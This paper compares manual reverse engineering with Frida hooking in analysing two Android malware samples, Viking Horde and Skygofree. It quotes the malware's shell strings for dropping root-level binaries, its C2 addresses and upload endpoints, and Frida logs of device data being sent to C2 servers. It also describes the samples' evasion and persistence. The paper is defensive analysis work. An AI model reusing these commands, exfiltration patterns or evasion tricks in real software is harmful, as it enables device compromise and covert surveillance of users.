**Manual analysis vs Frida Framework in Android malware analysis**

**Abstract:** Frida is a dynamic instrumentation toolkit that allows for the manipulation of running processes on a system. It can be used for reverse engineering, dynamic analysis, and more. On the other hand, static malware analysis is the process of analyzing malware without executing it. This is typically done by disassembling or decompiling the malware and examining its code. This paper will cover both approaches and will explore the strengths and weaknesses of each approach and compare their effectiveness in detecting and analyzing malware. It will also be a discussion about the use cases where one approach is better suited than the other, as well as ways to combine the two approaches for improved malware analysis.

Walkthrough

To achieve the scope of this paper, it covers two practical examples where manual analysis and Frida Framework are being used to produce satisfactory results during analysis of malware samples. The two samples mentioned are: Viking Horde and Skygofree. To achieve the scope of this paper, it covers two practical examples where manual analysis and Frida Framework are being used to produce satisfactory results during analysis of malware samples. The two samples mentioned are: Viking Horde and Skygofree.

Viking Horde:

|  |  |
| --- | --- |
| APK Name | Viking Jump |
| Package Name | Com.Jump.vikingJump |
| File Size | 7,424,598 bytes |
| MD5 | 390e66ffaccaa557a8d5c43c8f3a20a9 |
| SHA-256 | 254c1f16c8aa4c4c033e925b629d9a74ccb76ebf76204df7807b84a593f38dc0 |

Manual analysis:

* Artifact collection:

Because AndroidManifest.xml file represents the blueprint of the application, it is an important file for analyzing Android malware because it contains information about the app's structure and functionality. This file is used by the Android operating system to determine the app's permissions, components, and other details.

Some key information that obtained from the AndroidManifest.xml file during manual malware analysis include:

* Permissions

|  |  |
| --- | --- |
| android.permission.INTERNET | Allows application to create network sockets |
| android.permission.ACCESS\_NETWORK\_STATE | Allows the app to view information about network connections such as which networks exist and are connected |
| android.permission.WRITE\_EXTERNAL\_STORAGE | Dangerous permission that allows application to write to the SD card |
| android.permission.ACCESS\_WIFI\_STATE | Allows access to read Wi-Fi devices name, if Wi-fi is enabled |

|  |  |
| --- | --- |
| android.permission.READ\_PHONE\_STATE | Dangerous permission that allows application to read device specific attributes alongside phone numbers from calls. |
| com.android.vending.BILLING | Deprecated permission to integrate billing in to the application |
| android.permission.RECEIVE\_BOOT\_COMPLETED | Permission allows the application to start as soon as possible after the phone booted. |
| android.permission.WRITE\_EXTERNAL\_STORAGE | Dangerous permission that allows application to write on external storage |

* Activities

|  |
| --- |
| org.cocos2dx.cpp.AppActivity (Main Activity, Entry Point) |
| com.chartboost.sdk.CBImpressionActivity |
| com.google.android.gms.ads.AdActivity |

* Entry point

Because in a big application, reverse-engineering whole application would be exhausting, a better approach is to start from the MainActivity, in this case AppActivity.



This class does not contain much code, but it leaves a door open to continue tracking through the inheritance of the class: com.carlospinan.utils.UtilAtivity . This new found class leads to two very alarming methods: boolean InstallAsRoot() and boolean InstallAsNonRoot() contained by Install() method.

As the name of the methods suggest, the malware takes advantage of two cases, one when the device is rooted and one when not.

In first case, the method opens application raw resources and reads from there two of them:



Next step is taking a look at these two resources:

|  |  |  |
| --- | --- | --- |
| Resource Name | Magic number | SHA-256 |
| aps\_exec | 7F 45 4C 46 | b29b1cea8108d7f2c879052cdff7ff37a0b4ae41eb13364c2f3982d7aec955ad |
| aps\_exec\_watch\_dog | 7F 45 4C 46 | 316953c7aee0269b6c39ce4bc997db2a10d2087e9346ef6b6f59889396d3f8e5 |

These resources, two ELFs, are written in a public writeable zone, are copied in “/data/”, given the 777 permission mask and the resources are removed from the public writeable zone:

*aps\_exec*

|  |
| --- |
| "cat " + Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + Utilities.GetWatchDogName(paramContext) + " > /data/" + Utilities.GetWatchDogName(paramContext) |
| "rm " + Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + Utilities.GetWatchDogName(paramContext) |
| "chmod 777 /data/" + Utilities.GetWatchDogName(paramContext) |

*aps\_exec\_watch\_dog*

|  |
| --- |
| "cat " + Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + Utilities.GetExecName(paramContext) + " > /data/" + Utilities.GetExecName(paramContext) |
| "rm " + Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + Utilities.GetExecName(paramContext) |
| "chmod 777 /data/" + Utilities.GetExecName(paramContext) |

At first glance, finding the files should be easier than it seems. After connecting to the emulator through adb(Android Debug Bridge) with the help of the following command: adb -s emulator-5554 shell, followed by “ls /data/” produces the output:



There does not seem to be anything to be suspicious at first glance, but after a deep dive in APK’s code it can be found that the written files can take several default names:



The file *settings.dat* matches the pattern.

At this moment are being identified the following IoC(Indicators of Compromise):

* Suspicious files: aps\_exec, aps\_exec\_watch\_dog
* High privileges requirement: application requires root privileges



* High privileges activity: 777 privileges mask and executing processes as *root*



* Malware checks if device is rooted by multiple attampts to create certain files at well-known paths in file system:



* Sandbox evasion, malware tries certain checks to verify if it is in a virtualization and analysis environment by comparing device properties to those that are being found default in emulators:



Behaviour on unrooted device:

If the device is unrooted, malware calls InstallAsNonRoot(), which appears to start checking if a specific service, named SystemService is running calling IsMyServiceRunning(). If the service is not running, it starts the service using the startService() method, passing an Intent object that references the SystemService class. Then it creates a PendingIntent object by calling the getBroadcast() method and passing the Context of the current activity, a request code of 0, and an Intent object with the action “INTENT\_CPS\_SERVICE\_RESTART".object by calling the getBroadcast() method and passing the Context of the current activity, a request code of 0, and an Intent object with the action “INTENT\_CPS\_SERVICE\_RESTART".

It gets an instance of the AlarmManager system service by calling getSystemService("alarm"). It cancels any existing alarms associated with the PendingIntent and sets a repeating alarm with the setRepeating() method. The alarm will trigger after an initial delay, which is set to the current time, and will re-peat every 60,000 milliseconds (1 minute).

The function returns true as the final statement, indicating that the operation was suc-cessful. The function is trying to make sure that the service keeps ruuning.

The source problem of the unrooted path is behind the method InstallTaskHand-ler. It appears to be responsible for downloading and installing additional software on the infected device. The function starts by sleeping for 3 minutes(180.000 milliseconds) using the Thread.sleep() method, this might be done to avoid detection by the user or security software. Then it enters an infinite loop. In each iteration of the loop, it first checks if a list of InstallTask objects is null, if it is, it creates a new one. Then it clears the list.

It then makes a GET request to a specific URL "<http://176.9.138.114:7777/ecspectapatronum/>" using the HttpGet() method, which re-turns a JSON string containing a list of tasks. It then parses the JSON string using the JSONObject class and JSONArray class and extracts the tasks, which include the package name, URL of the APK file, and its MD5 hash, and the minimum API level required.

It then checks if the list of installed apps is null, if it is, it creates a new one. Then it clears the list. It retrieves a list of the currently installed apps on the device by calling the GetInstalledApps() method.

It iterates through the list of tasks and for each task, it checks if the app is already in-stalled and the Android version is supported. If the app is not installed, it downloads the APK file from the provided URL, checks the MD5 hash of the downloaded file and installs the app using the InstallApk() method.

It starts an overlay service and waits for the installation to complete before stopping the overlay service and deleting the APK file. Then it sleeps for 5 seconds before con-tinuing with the next task.

FRIDA

Manual analysis of SkyGoFree:

|  |  |
| --- | --- |
| APK Name | Systemupdate |
| Package Name | Com.sysmanager |
| File Size | 1,645,237 bytes |
| MD5 | 0bc28ac5f2cadd524e7f443e06ad2a2b |
| SHA-256 | accd05c00951ef568594efebd5c30bdce2e63cee9b2cdd88cb705776e0a4ca70 |

Just as it has been done before, first step is taking a look at AndroidManifest.xml this being the starting point of each apk analysis.

Permissions represent the main capabilities of any apk, excluding system vulnerabilities and can show what the apk can do, but it does not mean that it is using all the permis-sions. Sometimes developers choose to use more permissions than required due to comfort.

|  |
| --- |
| android.permission.RECORD\_AUDIO |
| android.permission.MODIFY\_AUDIO\_SETTINGS |
| android.permission.BROADCAST\_STICKY |
| android.permission.READ\_CONTACTS |
| android.permission.RECORD\_VIDEO |
| android.permission.RECEIVE\_SMS |
| android.permission.READ\_SMS |
| android.permission.SEND\_SMS |
| android.permission.CAMERA |
| android.permission.READ\_CALL\_LOG |
| android.permission.WRITE\_CALL\_LOG |
| android.permission.WRITE\_EXTERNAL\_STORAGE |
| android.permission.INTERNET |
| android.permission.READ\_PHONE\_STATE |
| android.permission.ACCESS\_NETWORK\_STATE |
| android.permission.CHANGE\_NETWORK\_STATE |
| android.permission.GET\_TASKS |
| com.android.browser.permission.READ\_HISTORY\_BOOKMARKS |
| android.permission.ACCESS\_WIFI\_STATE |

|  |
| --- |
| android.permission.CHANGE\_WIFI\_STATE |
| android.permission.SYSTEM\_ALERT\_WINDOW |
| android.permission.ACCESS\_LOCATION |
| android.permission.ACCESS\_FINE\_LOCATION |
| android.permission.ACCESS\_COARSE\_LOCATION |
| android.permission.RECEIVE\_BOOT\_COMPLETED |
| android.permission.WAKE\_LOCK |
| com.sysmanager.permission.C2D\_MESSAGE |
| com.google.android.c2dm.permission.RECEIVE |
| android.permission.GET\_ACCOUNTS |

This AndroidManifest.xml, as opposing to the previous referred one, has a lot of dangerous permissions:

- Record audio and video: The malware can use the device's microphone and camera to record audio and video without the user's knowledge or consent.

- Read, send and receive SMS: The malware can read, send, and receive SMS messages, which could be used to exfiltrate sensitive information or to control the device.

- Read and write external storage: The malware can read and write to the external storage of the device, which could be used to exfiltrate sensitive information or to control the device.

-Draw over other apps: The malware can draw over other apps, which could be used to display fake information or to control the device.

-Access location: The malware can access location, which could be used to track the user's location.

-Read and write call logs: The malware can read and write call logs, which could be used to exfiltrate sensitive information or to control the device.

At first glimpse, it seems to be a surveillance malware but from the point of view of the end user, the app disguises itself as a system update application, which makes sense why it requires so many permissions.

Activities:

|  |
| --- |
| com.sysmanager.Main |
| com.sysmanager.MainWeb |
| com.sysmanager.system.InfoDiag |

Artifacts:

|  |
| --- |
| <http://217.194.13.133/app/pro/> |
| <http://217.194.13.133/app/pro/register.php> |
| <http://217.194.13.133/app/pro/ser.php> |
| <http://217.194.13.133/app/pro/upload_status_command.php> |

Entry point:

First Activity to be loaded is the *Main Activity*, and what is does is to set up the mal-ware's functionality and starts it running on the infected device. Specifically, this code creates directories in the file system of the infected device, and it creates a file called "*.nomedia*" which is used to hide the malware's files.



Additionally, it appears that the malware uses the GCM (Google Cloud Messaging) to receive commands from the attacker's server and execute them on the infected device. The malware also uses a broadcast receiver to receive information about the device registration status with GCM. The malware also uses a *DevicePolicyManager* to control the device and potentially access sensitive information.

The application does not lack of networking components as it has a component called *NetworkUtil* included in the main Activity:



What this class component does behind the scenes is to read phone type of connection to the Internet using *NetworkUtil*.

There are to be found another networking related classes that are being used:

- NetworkServices, which makes use of Singleton Design pattern, meaning that only one instance can exists at the moment and the following components

- Cell: Stores informations about device serial number in a JSON Object. It is used in NetworkServices.registerCell method which is responsible for collecting and sending information about the victim's cell network to the attackers' command and control server. It does this by creating a new thread and in the thread it ob-tains the hostname from the attackers' server by calling the obtainHostName function with the device's serial number, then it creates a new instance of the Cell class, this class is used to hold the cell network information such as serial number, cellid, lac, psc and timestamp. It then checks if the hostname is in the correct format, and if it is it creates a new url by appending "upload\_cella.php" to the hostname and then it creates a new json object by calling the con-vertCellToJSON() method of the Cell class and then it sends the json object to the server via the excuteHttpPost function.

- KeepAlive is being used by NetworkServices.sendAliveEvent creates a new thread and in the thread it obtains the hostname from the attackers' server by calling the obtainHostName function with the device's serial number, then it cre-ates a new instance of the KeepAlive class, this class is used to hold the infor-mation about the "alive" event such as serial number, timestamp, lifetime and space. Then, it checks if the hostname is in the correct format, and if it is, it creates a new url by appending "upload\_alive.php" to the hostname and then it cre-ates a new json object by calling the convertKeepAliveToJson() method of the KeepAlive class and then it sends the json object to the server via the excuteHttpPost function.

- Constanti: contains artifacts, respectively C2C address

 alongside strings that are being used as switches to build the URL:

|  |
| --- |
| register\_gps.php |
| register.php |
| upload.php |
| upload\_alive.php |
| upload\_camera.php |
| upload\_cella.php |
| upload\_documents.php |
| upload\_filesystem.php |
| upload\_log.php |
| upload\_documents.php |
| upload\_history.php |
| upload\_info\_tel.php |
| upload\_listapp.php |
| upload\_reg\_call.php |
| upload\_rubrica.php |
| upload\_sms.php |
| upload\_unistall.php |
| upload\_whatsapp.php |
| upload\_whatsapp\_msg.php |

Also, HTTPUtility class represents a point of interest due to the fact that it pro-vides the functionality to upload to the C2C any file from the device:

This specific function appears to be responsible for uploading a file to the attackers' command and control server. The file is passed as the first parameter, along with the other parameters such as serial number, a timestamp, a lifetime and a space. It creates a new instance of the OkHttpClient class, which is a popular open-source Java library that can be used to send HTTP requests. It then sets timeouts for the connection, read and write operations. It then creates a new instance of the MultipartBuilder class, which is used to build a request body suitable for sending a file as a multipart/form-data request. It then creates a new re-quest body that contains the file and the other parameters, and it uses the OkHttpClient to send the request to the server.

This sample of malware shows the fac that an apk can hide many functionalities:

* AndroidCamera.class component is an example that makes use of the networking capabilities of the scenario in which case the end user provides too many permissions to an apk:



Through this method, the class is being used to creare a new file object using paramString1 as the file path and checks the internet connectivity using Net-workUtil class and logs a message is the connection is disabled. If the connection is enabled, it obtains a hostname using the serialnumber attribute and the "ob-tainHostName" method of the HTTPUtility class. If the hostname starts with "http://", ends with "/", and is not empty, it calls the "doFileUpload" method of the HTTPUtility class, passing the file, paramString2, serialnumber, hostname, "upload\_camera.php" and an empty string. Sets the attribute cameraBusy to false, and if the "doFileUpload" method returns true, it logs a message, updates data, and invokes the "InvioCommandoPresenza" method of the HTTPUtility class with "cameraYES" as the parameter and also passes the context and serial-number attributes.

* Another indicator of compromise is the fact that the apk checks for high privi-leges capabilities on the target device, to be more specific, it checks if the device is rooted using AndroidSystemCall.class :





The apk does not miss the opportunity to make use of the audio permissions and of messaging applications either:

* RecMicToM4 component represent it’s way to record audio, specifically the startRecording() method. The method sets the audio recording to start and checks for available storage space on the device. If there is not enough space, it will sleep for 300,000 milliseconds and then log an error message. It then creates a file name using the current date and time, starts the recording, and logs that the recording has started. The malware uses the MediaRecorder class to record audio and the recording is saved in the specified output directory. The malware also checks the device's API version, if it's 10 or higher, it sets the file extension to "\_16\_23850"
* AndroidManager.InviaFilesWhatsApp method takes a File object as an input and checks if the file name contains "database". If not, it proceeds to retrieve the list of files within the directory and assigns the number of files to a variable "cont". It then iterates through the list of files and for each file, it checks if it is a directory and if so, it recursively calls the InviaFilesWhatsApp method on that directory. If the file is not a directory and is less than 10kb in size, it checks for a network connection and if one is present, it uploads the file to a remote server. The malware uses the HTTPUtility class to upload the file and the serial number of the device. It also checks for the type of network connection (WiFi or 3G) and waits for 5 seconds before uploading the next file. If the upload is successful, it decreases the value of the "cont" variable and if it reaches 1, it updates the message management data and sends a command to the remote server.

Frida

In this paper, is used as a way to track network API calls. To automate the detonation of samples. This approach does come up with a way to fast install the apk and hook the API calls.

Frida provides a way to modify the API calls to log them and to log the parameters, real-time monitoring and flexibility.

VikingHorde:

Example of networking API calls that may lead to some questions:

* [Base64].[encode].[{"uuid":"6b761ec4384aa84e","macid":"2f5672cb76691b989bbd2022a5349939a2d7b952","gaid":"5268b8434c3649b98e98e0d5baacd0a0"}].[eyJ1dWlkIjoiNmI3NjFlYzQzODRhYTg0ZSIsIm1hY2lkIjoiMmY1NjcyY2I3NjY5MWI5ODliYmQy MDIyYTUzNDk5MzlhMmQ3Yjk1MiIsImdhaWQiOiI1MjY4Yjg0MzRjMzY0OWI5OGU5OGUwZDViYWFj ZDBhMCJ9 ]
* [Socket].[connect].[PORT:10000].[34.107.157.36:443]
* [Socket].[isConnected]
* [JSONTokener].[Constructor].[ at character 0 of {"message":"Install request received!","status":200}]

From this result, we can see that the apk encodes informations about the device, it checks the connection with the ip “34.107.157.36” and later it receives a request to install something.

This logs provide precious informations about the C2C communication, but we can gather more information based on the information gained from manual analysis:

* [UtilActivity].[WriteDeviceInfo]
* [UtilActivity].[Install] (tries to install for persistence)
* [UtilActivity].[KnockServer] (checks the connection with the server)
* [UtilActivity].[InstallAsRoot] (installs as root if device is rooted for persistence)
* [RootCommandExecutor].[Execute] (executes C2C command)
* [BypassRootSandBoxEvasion].[TelephonyManager.getLine1Number] (gets device phone number)
* [BypassRootSandBoxEvasion].[su] (checks if the device is rooted)
* [BypassRootSandBoxEvasion].[test-keys] (chekcs if the device is an emulator)

As we can see, there is not a magic technique to reverse the malware, best approach is to combine multiple techniques to gain more knowledge.

Frida can provide a lot of informations but usually manual analysis can provide context.

SkyGoFree

Example of networking API calls that may lead to some questions:

* [Socket].[connect].[PORT:120000].[/217.194.13.133:80]
* [Socket].[isConnected]
* [URL].[Constructor].[http://217.194.13.133/app/pro/register.php]

From this logs, it results the fact that the application checks the connection with the C2C that can be found at “217.194.13.133” and tries to make a request to the URL <http://217.194.13.133/app/pro/register.php> but it is not very clear what kind of request.

One disadvantage that appears is the fact that we can’t see that the malware creates a service that will work in background after the application is removed.

Here, it can be observed that Frida does provide a fast way to find informations about what the application really does in background, but it seems to be limited.

It comes handy to combine both manual analysis and Frida to obtain a more price result:

* [NetworkUtil].[getConnectivityStatus]
* [NetworkServices].[registerToken].[f4qSb4sTs\_E:APA91bFk4DZjfO-9aX3ysCiDj5bB6EcH8YLij95s4VCR6gl\_scrq0CBmiLnFw9bnmE9NY8ZP3I2sRmZl1w0N-X3PV6pfskDTMXDH8JKvNxdANrRlKlY\_8D665QMIMG8aTl5f1zOM7NYO].[licenta2022\_MODEL].[004d0096]
* [HTTPUtility].[excuteHttpPost].[http://217.194.13.133/app/pro/register.php].[false].[{"serialnumber":"004d0096","regId":"f4qSb4sTs\_E:APA91bFk4DZjfO-9aX3ysCiDj5bB6EcH8YLij95s4VCR6gl\_scrq0CBmiLnFw9bnmE9NY8ZP3I2sRmZl1w0N-X3PV6pfskDTMXDH8JKvNxdANrRlKlY\_8D665QMIMG8aTl5f1zOM7NYO","modello":"54BFFJRR"}]
* [HTTPUtility].[excuteHttpPostServer].[http://217.194.13.133/app/pro/register.php].[false].[{"serialnumber":"004d0096","regId":"f4qSb4sTs\_E:APA91bFk4DZjfO-9aX3ysCiDj5bB6EcH8YLij95s4VCR6gl\_scrq0CBmiLnFw9bnmE9NY8ZP3I2sRmZl1w0N-X3PV6pfskDTMXDH8JKvNxdANrRlKlY\_8D665QMIMG8aTl5f1zOM7NYO","modello":"54BFFJRR "}]

Alongside the previous logs, these ones that were added to Frida script provide more precious information: it becomes clear that the application does exfiltrate informations about the phone to the C2C server, where it registers the client by serial number, in this case: 004d0096.

After taking a closer look in logs, it becomes clear that the apk does gather device informations that it later sends to the C2C after system boot is complete:



And after it performs this task it later on deletes the apk:



This thing could not be done without the combination of the two tipes of analysis.